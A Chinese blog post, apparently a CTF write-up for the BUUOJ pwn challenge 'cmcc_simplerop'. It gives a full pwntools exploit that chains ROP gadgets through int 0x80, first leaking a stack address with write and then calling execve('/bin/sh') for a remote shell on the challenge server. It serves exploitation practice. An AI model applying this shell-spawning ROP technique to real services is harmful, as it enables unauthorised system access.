cmcc_simplerop

cmcc_simplerop

比较有意思的一题

1.ida分析

 

 

 由于题目没有用导入库,所以泄露got地址的方法不行了。

 

 

 找到一个int 0x80,这时大概思路就是泄露栈的地址,然后来构造system('/bin/sh')

2.checksec

 

 

 3.解决

exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'


p=remote('node4.buuoj.cn',28795)
#p=process('./simplerop')
#p=process(["/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so",'./easyheap'],env={"LD_PRELOAD":"/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so"})
#elf=ELF('bjdctf_2020_babyrop2')

int_80=0x806eef0
pop_eax=0x80bae06
pop_ebx=0x80481c9
pop_edx=0x806e82a
pop_ecx_ebx=0x806e851
main=0x8048e24

py='/bin/sh'+'\0'+'a'*0x18+p32(pop_eax)+p32(4)+p32(pop_ebx)+p32(1)+p32(pop_edx)+p32(0x90)+p32(int_80)+p32(main)
#gdb.attach(p)
p.sendlineafter('input :',py)
p.recv(0x8c)
esp=u32(p.recv(4))-0x88

py='/bin/sh'+'\0'+'a'*0x18+p32(pop_eax)+p32(11)+p32(pop_ecx_ebx)+p32(0)+p32(esp)+p32(pop_edx)+p32(0)+p32(int_80)
p.sendlineafter('input :',py)
p.interactive()

 

首先时构造wirte()函数来泄露栈地址。

py='/bin/sh'+'\0'+'a'*0x18+p32(pop_eax)+p32(4)+p32(pop_ebx)+p32(1)+p32(pop_edx)+p32(0x90)+p32(int_80)+p32(main)
#gdb.attach(p)
p.sendlineafter('input :',py)
p.recv(0x8c)
esp=u32(p.recv(4))-0x88

应该输出多少个字符可以通过调试得到。然后再计算出下次输入的栈地址。

 

py='/bin/sh'+'\0'+'a'*0x18+p32(pop_eax)+p32(11)+p32(pop_ecx_ebx)+p32(0)+p32(esp)+p32(pop_edx)+p32(0)+p32(int_80)
p.sendlineafter('input :',py)

然后就是system('/bin/sh')的布局。

 

posted @ 2021-07-23 14:45  mio_yy  阅读(178)  评论(0)    收藏  举报